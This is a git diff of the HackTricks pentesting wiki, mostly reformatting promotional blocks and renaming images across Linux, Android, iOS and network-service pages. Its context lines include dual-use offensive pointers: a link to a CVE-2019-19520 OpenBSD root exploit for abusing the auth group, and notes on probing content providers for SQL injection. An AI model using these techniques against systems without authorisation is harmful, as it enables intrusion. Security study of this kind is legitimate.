Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**.
-# Auth group
+## Auth group
Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\
These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
-
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-
-
diff --git a/linux-hardening/useful-linux-commands/README.md b/linux-hardening/useful-linux-commands/README.md
index 47ec9a332..f2938d89c 100644
--- a/linux-hardening/useful-linux-commands/README.md
+++ b/linux-hardening/useful-linux-commands/README.md
@@ -1,28 +1,22 @@
# Useful Linux Commands
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -147,15 +141,13 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
7z l file.zip
```
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
## Bash for Windows
@@ -314,24 +306,18 @@ iptables -P OUTPUT ACCEPT
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md
index 54f24560d..6381eb19f 100644
--- a/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md
+++ b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md
@@ -12,7 +12,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -310,7 +310,7 @@ If you are inside a filesystem with the **read-only and noexec protections** the
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/mobile-pentesting/android-app-pentesting/README.md b/mobile-pentesting/android-app-pentesting/README.md
index 79cda952a..ec4016af1 100644
--- a/mobile-pentesting/android-app-pentesting/README.md
+++ b/mobile-pentesting/android-app-pentesting/README.md
@@ -1,6 +1,6 @@
# Android Applications Pentesting
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -56,7 +56,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -237,7 +237,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
[content-protocol.md](content-protocol.md)
{% endcontent-ref %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -485,7 +485,7 @@ Probably you know about this kind of vulnerabilities from the Web. You have to b
* **Eternal cookies**: In several cases when the android application finish the session the cookie isn't revoked or it could be even saved to disk
* [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -499,7 +499,7 @@ Get Access Today:
**Static analysis**
-![](<../../.gitbook/assets/image (61) (1).png>)
+![](<../../.gitbook/assets/image (61).png>)
**Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis (but you need to prepare the environment).
@@ -639,7 +639,7 @@ super-analyzer {apk_file}
### [StaCoAn](https://github.com/vincentcox/StaCoAn)
-![](<../../.gitbook/assets/image (62) (1).png>)
+![](<../../.gitbook/assets/image (62).png>)
StaCoAn is a **crossplatform** tool which aids developers, bugbounty hunters and ethical hackers performing [static code analysis](https://en.wikipedia.org/wiki/Static\_program\_analysis) on mobile applications\*.
@@ -692,7 +692,7 @@ It is able to:
Useful to detect malware: [https://koodous.com/](https://koodous.com)
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -783,7 +783,7 @@ For more information visit:
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
diff --git a/mobile-pentesting/android-app-pentesting/android-burp-suite-settings.md b/mobile-pentesting/android-app-pentesting/android-burp-suite-settings.md
index 9d73a15be..8877d2038 100644
--- a/mobile-pentesting/android-app-pentesting/android-burp-suite-settings.md
+++ b/mobile-pentesting/android-app-pentesting/android-burp-suite-settings.md
@@ -12,7 +12,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -86,7 +86,7 @@ After installing Certificate SSL endpoints also working fine tested using → [h
After installing the certificate this way Firefox for Android won't use it (based on my tests), so use a different browser.
{% endhint %}
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md
index 17ade4c88..01b37809f 100644
--- a/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md
+++ b/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md
@@ -39,7 +39,7 @@ brew install openjdk@8
If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_
-![](<../../.gitbook/assets/image (330) (1).png>)
+![](<../../.gitbook/assets/image (330).png>)
Then, click on _**Create Virtual Device**_, _**select** the phone you want to use_ and click on _**Next.**_\
\_\_In the current view you are going to be able to **select and download the Android image** that the phone is going to run:
diff --git a/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md b/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md
index f71bce09c..7cc98004c 100644
--- a/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md
+++ b/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md
@@ -131,7 +131,7 @@ Knowing the name of the columns you could also **modify the entries**:
It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\
When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_:
-![](<../../../.gitbook/assets/image (192).png>)
+![](<../../../.gitbook/assets/image (192) (1).png>)
You can try to **abuse** this **parameters** to test for **SQL injections**:
diff --git a/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md b/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md
index 9c587e918..9b4244cf6 100644
--- a/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md
+++ b/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md
@@ -62,7 +62,7 @@ Some interesting information (like passwords or paths) could be find inside the
env
```
-![](<../../../.gitbook/assets/image (64) (1).png>)
+![](<../../../.gitbook/assets/image (64).png>)
#### Frida Information
@@ -148,7 +148,7 @@ Lets start looking for classes inside our application
android hooking search classes asvid.github.io.fridaapp
```
-![](<../../../.gitbook/assets/image (69) (1).png>)
+![](<../../../.gitbook/assets/image (69).png>)
#### Search Methods of a class
@@ -249,15 +249,15 @@ memory dump from_base #Dump a
memory list modules
```
-![](<../../../.gitbook/assets/image (66) (1).png>)
+![](<../../../.gitbook/assets/image (66).png>)
At the bottom os the list you can see frida:
-![](<../../../.gitbook/assets/image (67) (2).png>)
+![](<../../../.gitbook/assets/image (67).png>)
Lets checks what is frida exporting:
-![](<../../../.gitbook/assets/image (68) (1).png>)
+![](<../../../.gitbook/assets/image (68).png>)
#### Search/Write
diff --git a/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md b/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md
index 8fcb9f3f3..d5b7942f8 100644
--- a/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md
+++ b/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md
@@ -16,7 +16,7 @@ Download the APK here:
I am going to upload the APK to [https://appetize.io/](https://appetize.io) (free account) to see how the apk is behaving:
-![](<../../.gitbook/assets/image (46) (1).png>)
+![](<../../.gitbook/assets/image (46).png>)
Looks like you need to win 1000000 times to get the flag.
@@ -44,9 +44,9 @@ to:
if-eq v0, v9, :cond_2
```
-![Before](<../../.gitbook/assets/image (48) (1).png>)
+![Before](<../../.gitbook/assets/image (48).png>)
-![After](<../../.gitbook/assets/image (49) (1).png>)
+![After](<../../.gitbook/assets/image (49).png>)
Follow the steps of [pentest Android](./) to recompile and sign the APK. Then, upload it to [https://appetize.io/](https://appetize.io) and lets see what happens:
@@ -60,13 +60,13 @@ Looks like the flag is written without being completely decrypted. Probably the
**Another way** is instead of comparing with 1000000, set the value to 1 so this.o is compared with 1:
-![](<../../.gitbook/assets/image (57) (1).png>)
+![](<../../.gitbook/assets/image (57).png>)
A forth way is to add an instruction to move to value of v9(1000000) to v0 _(this.o)_:
-![](<../../.gitbook/assets/image (58) (1).png>)
+![](<../../.gitbook/assets/image (58).png>)
-![](<../../.gitbook/assets/image (52) (1).png>)
+![](<../../.gitbook/assets/image (52).png>)
## Solution
diff --git a/mobile-pentesting/android-checklist.md b/mobile-pentesting/android-checklist.md
index 64551ecae..df1951a92 100644
--- a/mobile-pentesting/android-checklist.md
+++ b/mobile-pentesting/android-checklist.md
@@ -1,28 +1,22 @@
# Android APK Checklist
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -84,24 +78,18 @@ Get Access Today:
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/mobile-pentesting/ios-pentesting-checklist.md b/mobile-pentesting/ios-pentesting-checklist.md
index 09b73afeb..8488e5677 100644
--- a/mobile-pentesting/ios-pentesting-checklist.md
+++ b/mobile-pentesting/ios-pentesting-checklist.md
@@ -1,6 +1,6 @@
# iOS Pentesting Checklist
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -118,7 +118,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/mobile-pentesting/ios-pentesting/README.md b/mobile-pentesting/ios-pentesting/README.md
index f4529a441..3497e9dc1 100644
--- a/mobile-pentesting/ios-pentesting/README.md
+++ b/mobile-pentesting/ios-pentesting/README.md
@@ -1,6 +1,6 @@
# iOS Pentesting
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -382,7 +382,7 @@ struct CGSize {
However, the best options to disassemble the binary are: [**Hopper**](https://www.hopperapp.com/download.html?) and [**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/).
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -742,7 +742,7 @@ Jun 7 13:42:14 iPhone touch[9708] : MS:Notice: Injecting: (null) [touch
...
```
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -1166,7 +1166,7 @@ You can find the **libraries used by an application** by running **`otool`** aga
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
index 272da090d..341928017 100644
--- a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
+++ b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
@@ -12,7 +12,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -118,7 +118,7 @@ Steps to configure Burp as proxy:
* Click on _**Ok**_ and the in _**Apply**_
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/network-services-pentesting/1099-pentesting-java-rmi.md b/network-services-pentesting/1099-pentesting-java-rmi.md
index 04f16a7e1..0e8ff4223 100644
--- a/network-services-pentesting/1099-pentesting-java-rmi.md
+++ b/network-services-pentesting/1099-pentesting-java-rmi.md
@@ -12,7 +12,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -323,7 +323,7 @@ Entry_1:
Command: rmg enum {IP} {PORT}
```
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/network-services-pentesting/113-pentesting-ident.md b/network-services-pentesting/113-pentesting-ident.md
index 72bebbba9..132079fbe 100644
--- a/network-services-pentesting/113-pentesting-ident.md
+++ b/network-services-pentesting/113-pentesting-ident.md
@@ -4,15 +4,11 @@
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -41,7 +37,7 @@ If you just press enter when you conenct to the service:
Other errors:
-![](<../.gitbook/assets/image (17).png>)
+![](<../.gitbook/assets/image (17) (1).png>)
### Nmap
@@ -109,14 +105,10 @@ Entry_2:
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
